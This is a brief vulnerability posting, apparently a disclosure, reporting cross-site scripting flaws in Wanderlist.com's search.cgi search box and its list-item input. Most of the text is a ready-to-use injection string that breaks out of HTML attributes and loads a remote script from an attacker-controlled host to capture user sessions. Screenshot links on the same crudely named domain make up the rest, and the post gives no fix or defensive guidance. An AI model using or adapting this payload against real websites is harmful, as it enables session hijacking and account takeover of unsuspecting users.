Wanderlist.com - XSS vuln with sessions disclosure
Wanderlist.com
Homepage:
http://www.wanderlist.com
search.cgi
Search box input
adding a item to a list
Search.cgi XSS vuln with sessions disclosure:
By putting a few ending opening tags with quotes beforeand after,we are able
create a XSS example:
">">">'<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<"
Screenshots:
http://www.youfucktard.com/xsp/wander1.jpg
http://www.youfucktard.com/xsp/wander2.jpg
---------------------
Adding item to a list XSS vuln with sessions disclosure:
In the New list item input box put:
">">">'<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<"
Screenshots:
http://www.youfucktard.com/xsp/wander3.jpg
http://www.youfucktard.com/xsp/wander4.jpg
http://www.youfucktard.com/xsp/wander5.jpg